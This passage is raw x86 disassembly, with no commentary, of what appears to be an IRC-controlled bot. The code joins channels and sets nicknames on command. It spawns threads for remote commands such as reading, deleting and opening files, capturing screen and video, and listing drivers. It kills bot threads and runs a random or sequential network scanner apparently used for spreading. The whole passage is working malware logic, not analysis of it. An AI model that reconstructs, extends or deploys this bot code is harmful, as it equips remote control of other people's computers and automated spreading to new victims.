		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_41339E
		push	esi
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_436898
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	edi
		push	offset dword_436638
		push	eax
		call	sub_4172AE
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_414AC1
; ---------------------------------------------------------------------------

loc_41339E:				; CODE XREF: sub_40EE72+44D1j
		lea	eax, [ebp+var_2DC]
		push	offset dword_4365F8
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	loc_414AC1
; ---------------------------------------------------------------------------

loc_4133B6:				; CODE XREF: sub_40EE72+44BCj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BB8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_4365D0
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		jmp	loc_414AC1
; ---------------------------------------------------------------------------

loc_413400:				; CODE XREF: sub_40EE72+22B3j
					; sub_40EE72+22CAj
		push	offset aScreen	; "screen"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413463
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_413450
		push	[ebp+esi+var_8C]
		call	sub_4085B3
		cmp	eax, 1
		pop	ecx
		jnz	short loc_413449
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_43658C
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	short loc_413463
; ---------------------------------------------------------------------------

loc_413449:				; CODE XREF: sub_40EE72+45B8j
		push	offset dword_436550
		jmp	short loc_413455
; ---------------------------------------------------------------------------

loc_413450:				; CODE XREF: sub_40EE72+45A6j
		push	offset dword_436508

loc_413455:				; CODE XREF: sub_40EE72+45DCj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx

loc_413463:				; CODE XREF: sub_40EE72+459Dj
					; sub_40EE72+45D5j
		push	offset aDrivers	; "drivers"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4134FA
		mov	[ebp+arg_0], ebx

loc_41347B:				; CODE XREF: sub_40EE72+4673j
		lea	eax, [ebp+var_75C]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_3F8]
		push	0FFh
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43F698
		test	eax, eax
		jz	short loc_4134DE
		lea	eax, [ebp+var_75C]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	[ebp+arg_0]
		push	offset dword_4364CC
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_15B0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 28h

loc_4134DE:				; CODE XREF: sub_40EE72+462Cj
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 0Ah
		jl	short loc_41347B
		lea	eax, [ebp+var_2DC]
		push	offset dword_436498
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx

loc_4134FA:				; CODE XREF: sub_40EE72+4600j
		push	offset aFrame	; "frame"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4135A0
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_41358D
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_41358D
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_41358D
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		jz	short loc_41358D
		push	eax
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_8C]
		call	sub_4087EE
		add	esp, 10h
		test	eax, eax
		jnz	short loc_413586
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_436454
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	short loc_4135A0
; ---------------------------------------------------------------------------

loc_413586:				; CODE XREF: sub_40EE72+46F5j
		push	offset dword_436410
		jmp	short loc_413592
; ---------------------------------------------------------------------------

loc_41358D:				; CODE XREF: sub_40EE72+46A4j
					; sub_40EE72+46ADj ...
		push	offset dword_4363C8

loc_413592:				; CODE XREF: sub_40EE72+4719j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx

loc_4135A0:				; CODE XREF: sub_40EE72+4697j
					; sub_40EE72+4712j
		push	offset aVideo	; "video"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413A62
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_413639
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_413639
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	short loc_413639
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_413639
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_413639
		push	esi
		call	sub_41781F
		pop	ecx
		push	eax
		push	edi
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_4089E7
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41362F
		push	[ebp+arg_18]
		push	offset dword_43638C
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_41362F:				; CODE XREF: sub_40EE72+47AEj
		push	offset dword_43633C
		jmp	loc_413A54
; ---------------------------------------------------------------------------

loc_413639:				; CODE XREF: sub_40EE72+474Fj
					; sub_40EE72+475Dj ...
		push	offset dword_4362F0
		jmp	loc_413A54
; ---------------------------------------------------------------------------

loc_413643:				; CODE XREF: sub_40EE72+1CF0j
					; sub_40EE72+1D07j
		push	offset aR	; "r"
		push	edi
		call	sub_4179A8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4136BE
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41900C
		add	esp, 0Ch

loc_41366C:				; CODE XREF: sub_40EE72+4829j
		test	eax, eax
		jz	short loc_41369D
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41900C
		add	esp, 20h
		jmp	short loc_41366C
; ---------------------------------------------------------------------------

loc_41369D:				; CODE XREF: sub_40EE72+47FCj
		push	esi
		call	sub_417900
		pop	ecx
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_4362BC
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	loc_4110FD
; ---------------------------------------------------------------------------

loc_4136BE:				; CODE XREF: sub_40EE72+47E2j
		push	edi
		push	offset dword_43628C
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_4136C9:				; CODE XREF: sub_40EE72+1CC2j
					; sub_40EE72+1CD9j
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F45
		push	offset asc_42A660 ; "\n"
		push	esi
		call	sub_4179D0
		push	esi
		call	sub_40B358
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_413709
		push	offset dword_436250
		jmp	loc_413A54
; ---------------------------------------------------------------------------

loc_413709:				; CODE XREF: sub_40EE72+488Bj
		push	esi
		push	offset dword_436228
		jmp	loc_414AB2
; ---------------------------------------------------------------------------

loc_413714:				; CODE XREF: sub_40EE72+1C94j
					; sub_40EE72+1CABj
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F45
		push	eax
		call	sub_40AAFA
		test	eax, eax
		pop	ecx
		jnz	short loc_413745
		push	offset unk_4361FC
		jmp	loc_413A54
; ---------------------------------------------------------------------------

loc_413745:				; CODE XREF: sub_40EE72+48C7j
		push	offset dword_4361D0
		jmp	loc_413A54
; ---------------------------------------------------------------------------

loc_41374F:				; CODE XREF: sub_40EE72+1C66j
					; sub_40EE72+1C7Dj
		push	7Fh
		lea	eax, [ebp+var_6EC]
		push	edi
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_8C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_41377E
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_41377E:				; CODE XREF: sub_40EE72+48F8j
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_6F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_4361A8
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	15h
		push	eax
		call	sub_416D5A
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6F0]
		push	ebx
		push	eax
		push	offset sub_40BC4B
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_41381F

loc_413809:				; CODE XREF: sub_40EE72+49ABj
		cmp	[ebp+var_560], ebx
		jnz	loc_414AC1
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_413809
; ---------------------------------------------------------------------------

loc_41381F:				; CODE XREF: sub_40EE72+4995j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43615C
		jmp	loc_414AB2
; ---------------------------------------------------------------------------

loc_413830:				; CODE XREF: sub_40EE72+1C38j
					; sub_40EE72+1C4Fj
		push	ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	edi
		call	sub_406387
		add	esp, 10h
		push	edi
		push	offset dword_436138
		jmp	loc_414F3E
; ---------------------------------------------------------------------------

loc_41384E:				; CODE XREF: sub_40EE72+1C0Aj
					; sub_40EE72+1C21j
		push	14h
		lea	eax, [ebp+var_708]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_6F4]
		push	edi
		push	offset aS_3	; "%s"
		push	eax
		call	sub_4172AE
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_5F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_436104
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416D5A
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C512
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_413927

loc_413911:				; CODE XREF: sub_40EE72+4AB3j
		cmp	[ebp+var_560], ebx
		jnz	loc_414E0F
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_413911
; ---------------------------------------------------------------------------

loc_413927:				; CODE XREF: sub_40EE72+4A9Dj
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4385B0
		jmp	loc_414E00
; ---------------------------------------------------------------------------

loc_413938:				; CODE XREF: sub_40EE72+1BDCj
					; sub_40EE72+1BF3j
		push	edi
		call	ds:dword_424158	; DeleteFileA
		test	eax, eax
		jz	short loc_413962
		push	edi
		push	offset dword_4360D8
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		jmp	loc_4110DC
; ---------------------------------------------------------------------------

loc_413962:				; CODE XREF: sub_40EE72+4ACFj
		push	offset dword_436A78
		call	sub_40AA35
		pop	ecx
		push	eax
		jmp	loc_414562
; ---------------------------------------------------------------------------

loc_413973:				; CODE XREF: sub_40EE72+1BAEj
					; sub_40EE72+1BC5j
		push	edi
		call	sub_41781F
		push	eax
		call	sub_415417
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_413990
		push	offset unk_4360A0
		jmp	short loc_413995
; ---------------------------------------------------------------------------

loc_413990:				; CODE XREF: sub_40EE72+4B15j
		push	offset unk_43605C

loc_413995:				; CODE XREF: sub_40EE72+4B1Cj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_411100
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_411100
; ---------------------------------------------------------------------------

loc_4139CE:				; CODE XREF: sub_40EE72+1B80j
					; sub_40EE72+1B97j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_415188
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_4139F0
		push	offset unk_436028
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_4139F0:				; CODE XREF: sub_40EE72+4B72j
		push	offset unk_435FE8
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_4139FA:				; CODE XREF: sub_40EE72+1B52j
					; sub_40EE72+1B69j
		push	edi
		call	ds:dword_43F6A8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_413A34
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	ds:dword_43F620	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_413A4F
		push	dword ptr [eax]

loc_413A1D:				; CODE XREF: sub_40EE72+4BDBj
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_435FBC
		push	eax
		call	sub_4172AE
		add	esp, 10h
		jmp	short loc_413A62
; ---------------------------------------------------------------------------

loc_413A34:				; CODE XREF: sub_40EE72+4B95j
		push	edi
		call	ds:dword_43F6EC	; gethostbyname
		cmp	eax, ebx
		jz	short loc_413A4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	ds:dword_43F6F4	; inet_ntoa
		push	eax
		jmp	short loc_413A1D
; ---------------------------------------------------------------------------

loc_413A4F:				; CODE XREF: sub_40EE72+4BA7j
					; sub_40EE72+4BCBj
		push	offset dword_435F84

loc_413A54:				; CODE XREF: sub_40EE72+3E2Dj
					; sub_40EE72+3FBCj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx

loc_413A62:				; CODE XREF: sub_40EE72+2A25j
					; sub_40EE72+3B35j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414AC1
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_414AC1
; ---------------------------------------------------------------------------

loc_413A8C:				; CODE XREF: sub_40EE72+1B24j
					; sub_40EE72+1B3Bj
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_418C10
		add	esp, 0Ch
		push	edi
		push	offset dword_435F50
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_413AA5:				; CODE XREF: sub_40EE72+1AF6j
					; sub_40EE72+1B0Dj
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_43F5DC
		test	eax, eax
		push	edi
		jz	short loc_413AC5
		push	offset unk_435F14
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_413AC5:				; CODE XREF: sub_40EE72+4C47j
		push	offset unk_435ED0
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_413ACF:				; CODE XREF: sub_40EE72+1AC8j
					; sub_40EE72+1ADFj
		mov	al, [edi]
		mov	ds:byte_42F5C4,	al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_435E9C
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_413AE4:				; CODE XREF: sub_40EE72+1A9Aj
					; sub_40EE72+1AB1j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F45
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F45
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415CFF
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367E4
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	loc_412FD0
; ---------------------------------------------------------------------------

loc_413B32:				; CODE XREF: sub_40EE72+1A6Cj
					; sub_40EE72+1A83j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_40F239
		push	edi
		call	sub_41781F
		mov	esi, 1F4h
		pop	ecx
		cmp	eax, esi
		jge	loc_40F239
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4450CC[eax]
		call	sub_40D633
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_424064	; Sleep
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4450CC[eax]
		call	ds:dword_43F700	; closesocket
		push	[ebp+var_10]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4450D4[eax]
		call	ds:dword_424168	; TerminateThread
		push	edi
		call	sub_41781F
		imul	eax, 234h
		push	edi
		mov	ds:dword_4450D4[eax], ebx
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr ds:dword_444EC0[eax], bl
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_413BDB:				; CODE XREF: sub_40EE72+1A3Ej
					; sub_40EE72+1A55j
		push	edi
		push	offset aAll	; "all"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413C19
		call	sub_416F23
		cmp	eax, ebx
		jle	short loc_413C0F
		push	eax
		push	offset dword_435E50

loc_413BFB:				; CODE XREF: sub_40EE72+15E2j
					; sub_40EE72+2A8Fj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE

loc_413C07:				; CODE XREF: sub_40EE72+3CA4j
		add	esp, 0Ch
		jmp	loc_41460A
; ---------------------------------------------------------------------------

loc_413C0F:				; CODE XREF: sub_40EE72+4D81j
		push	offset dword_435E18
		jmp	loc_4145FC
; ---------------------------------------------------------------------------

loc_413C19:				; CODE XREF: sub_40EE72+4D78j
		mov	eax, [ebp+var_C0]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40F239
		lea	eax, [ebp+edi*4+var_94]
		mov	[ebp+arg_24], eax

loc_413C35:				; CODE XREF: sub_40EE72+4E34j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40F239
		push	esi
		call	sub_41781F
		push	eax
		call	sub_416E95
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_413C5C
		push	offset dword_435DE4
		jmp	short loc_413C61
; ---------------------------------------------------------------------------

loc_413C5C:				; CODE XREF: sub_40EE72+4DE1j
		push	offset dword_435DA8

loc_413C61:				; CODE XREF: sub_40EE72+4DE8j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_413C91
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_413C91:				; CODE XREF: sub_40EE72+4E01j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_413C35
		jmp	loc_40F239
; ---------------------------------------------------------------------------

loc_413CAD:				; CODE XREF: sub_40EE72+1A10j
					; sub_40EE72+1A27j
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F45
		push	esi
		push	offset dword_428598
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	offset dword_435D80
		jmp	loc_414F3E
; ---------------------------------------------------------------------------

loc_413CE7:				; CODE XREF: sub_40EE72+19E2j
					; sub_40EE72+19F9j
		push	edi
		push	offset dword_436714
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	offset dword_435D50
		jmp	loc_414F3E
; ---------------------------------------------------------------------------

loc_413D03:				; CODE XREF: sub_40EE72+19B4j
					; sub_40EE72+19CBj
		push	[ebp+esi+var_8C]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		push	edi
		push	offset dword_435D20
		jmp	loc_414F3E
; ---------------------------------------------------------------------------

loc_413D26:				; CODE XREF: sub_40EE72+1986j
					; sub_40EE72+199Dj
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	edi
		push	offset dword_435CEC
		jmp	loc_414F3E
; ---------------------------------------------------------------------------

loc_413D42:				; CODE XREF: sub_40EE72+194Bj
					; sub_40EE72+1960j
		mov	al, ds:byte_42F5F2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_42F5F2
		jz	loc_40F239
		mov	ecx, edx

loc_413D59:				; CODE XREF: sub_40EE72+4EEFj
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_413D59
		cmp	al, bl
		jz	loc_40F239
		mov	[ebp+arg_18], edx

loc_413D6E:				; CODE XREF: sub_40EE72+51BAj
		push	8
		call	sub_416FA2
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 258h
		jle	short loc_413DBD
		push	ecx
		lea	eax, [ebp+var_2DC]
		push	offset unk_437028
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_414023
; ---------------------------------------------------------------------------

loc_413DBD:				; CODE XREF: sub_40EE72+4F16j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	ds:dword_42ACB0, ebx
		mov	[ebp+var_318], 64h
		mov	[ebp+var_32C], 7
		mov	[ebp+var_328], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_413E2E
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_42ACB0
		lea	esi, [eax-0Ah]

loc_413DF8:				; CODE XREF: sub_40EE72+4F9Ej
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413E14
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_413DF8
		jmp	short loc_413E2E
; ---------------------------------------------------------------------------

loc_413E14:				; CODE XREF: sub_40EE72+4F94j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, ds:dword_42ACB0[ecx]
		mov	[ebp+var_330], ecx

loc_413E2E:				; CODE XREF: sub_40EE72+4F79j
					; sub_40EE72+4FA0j
		cmp	[ebp+var_330], ebx
		jz	loc_414037
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	ds:dword_43F60C	; getsockname
		mov	al, [ebp+var_9C7]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	ds:dword_43F6F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418C10
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418F10
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_413ED0

loc_413EAE:				; CODE XREF: sub_40EE72+505Cj
		cmp	eax, ebx
		jz	short loc_413ED0
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_418F10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_413EAE

loc_413ED0:				; CODE XREF: sub_40EE72+503Aj
					; sub_40EE72+503Ej
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_8]
		mov	edi, 80h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_434]
		push	edi
		push	eax
		mov	[ebp+var_304], 1
		mov	[ebp+var_30C], esi
		call	sub_41782A
		push	offset byte_43C80C
		push	offset aF	; "#f"
		call	sub_4176D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_413F3A
		push	offset aF	; "#f"
		lea	eax, [ebp+var_3B4]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_413F40
; ---------------------------------------------------------------------------

loc_413F3A:				; CODE XREF: sub_40EE72+50AFj
		mov	[ebp+var_3B4], bl

loc_413F40:				; CODE XREF: sub_40EE72+50C6j
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_413F52
		mov	eax, offset aSequential	; "Sequential"

loc_413F52:				; CODE XREF: sub_40EE72+50D9j
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_435C74
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5A
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40797F
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_413FDC

loc_413FCA:				; CODE XREF: sub_40EE72+5168j
		cmp	[ebp+var_300], ebx
		jnz	short loc_413FF7
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_413FCA
; ---------------------------------------------------------------------------

loc_413FDC:				; CODE XREF: sub_40EE72+5156j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436F18
		push	eax
		call	sub_4172AE
		add	esp, 0Ch

loc_413FF7:				; CODE XREF: sub_40EE72+515Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_414016
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	esi
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h

loc_414016:				; CODE XREF: sub_40EE72+5188j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		pop	ecx

